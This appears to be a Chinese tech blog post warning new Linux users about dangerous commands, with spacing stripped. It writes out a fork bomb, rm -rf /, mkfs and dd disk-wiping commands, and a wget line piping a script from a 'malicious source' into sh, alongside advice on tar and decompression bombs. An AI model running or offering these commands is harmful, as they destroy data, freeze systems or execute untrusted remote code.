Commandstousecare[color=rgba(0,0,0,0.298)]LinuxShell/terminal命令非常强大,即使是一个简单的命令也可能导致一个文件夹、文件或路径文件夹等待被删除。在某些情况下,Linux甚至会在没有询问你的情况下执行命令,导致你丢失各种数据信息。一般来说,推荐新的Linux用户在Web上执行这些命令。当然,有些写过这段代码的人并不这么认为,因为一旦你写出这玩意儿,就不是闹着玩的了。这里我收集了一些对系统有害的Linux代码,帮助大家规避。请记住:这段代码很危险,甚至可以修改得更危险。其他需要注意的事项:某些命令仅在Ubuntu中以sudo为前缀时才有害。对于其他Linux发行版,作为根目录命令使用会有危害。LinuxForkBombCommand:(){::&};:被称为ForkBomb,是一种针对Linux系统的拒绝服务攻击。:(){::&};:是一个bash函数。只要执行一次,它就会重复执行,直到系统被冻结。只能重启系统解决这个问题。所以在Linux界面下执行这个命令的时候要小心。MvFolder/Dev/NullCommandmvfolder/dev/null也是一个危险的命令。dev/null或nulldevice是一个设备文件,删除所有写在这个设备文件上的数据,但是运行提示提示写操作执行成功。这就是我们常说的bitbucked或blackhole。rm-Rf命令rm-rf命令可以快速删除Linux系统中的文件夹及其内容。如果,你不知道如何正确使用它,你只会哭。m-rf命令最常见的组合和选择如下:rm命令:删除Linux系统中的文件rm-f命令:不提示删除文件中的只读文件rm-d命令:删除空目录,如果没有空目录不会执行rm-rf/命令:强制删除根目录下所有内容和子文件夹(包括写保护文件)的命令。·rm-rf*命令:强制删除当前目录(当前工作目录)及子文件夹中的所有内容·rm-rf.command:强制删除当前文件夹目录/子目录中的所有内容。同rm-r.1*Therm-r.1*命令:删除文件和文件夹,有删除提示mkfs命令如果你不知道mkfs的功能,那么它也是一个危险的命令,任何在mkfs之后写的命令将被格式化并替换为空白的linux文件系统。下面列出了需要管理员权限才能格式化硬盘的命令:mkfsmkfs.ext3mkfs.bfsmkfs.ext2mkfs.minixmkfs.msdosmkfs.reiserfsmkfs.vfatmkfs.cramfs也可以用上面的代码做同样的事情,但无需管理源权限。tarbombtar命令用于将多个文件以.tar格式放入一个文件(归档文件)中。TapeArchive(Tar)炸弹可以由他制造。压缩时,正是这个存档在当前目录而不是新目录中生成数万个名称相似的文件。在接收tar文件时,您可以定期创建一个新的受保护目录,然后在解包前将接受的tar文件放入该目录,从而避免成为tar炸弹的受害者。DdCommandDd命令用于复制和更改硬盘分区。如果用错地方,也是很危险的。dd命令如下:ddif=/dev/hdaof=/dev/hdbddif=/dev/hdaof=/dev/sdbddif=somethingof=/dev/hdaddif=somethingof=/dev/sda的以下命令将清除整个主硬盘:ddif=/dev/zeroof=/dev/hadShell脚本代码有时,您可能会被骗,他会给您一个shell脚本文件,让您下载并执行它。此脚本可能包含一些恶意或危险代码。命令形式可能如下所示:wgethttp://some_malicious_source-O-sh。当sh缩小脚本范围时,wget将下载脚本。MaliciousSourceCode也许有人会给你源代码让你编译他。代码可能是正常的代码,但是在庞大的源代码中却隐藏着一些恶意代码,如果是这样,你的系统就中枪了。如何避免?只接受和编译来自可信来源的源代码。DecompressionBomb收到一个压缩文件,要求您解压这个看似很小的文件,可能只有KB大小。事实上,这个小型压缩文件包含高度压缩的数据。只要将文件解压,就会提取出数百GB的数据。这个时候过多的数据把硬盘填满导致宕机,概率非常大。如何避免?俗话说,不要只接受任何文件,请接受来自可信来源的文件。更多技术信息请关注:gzitcast。?
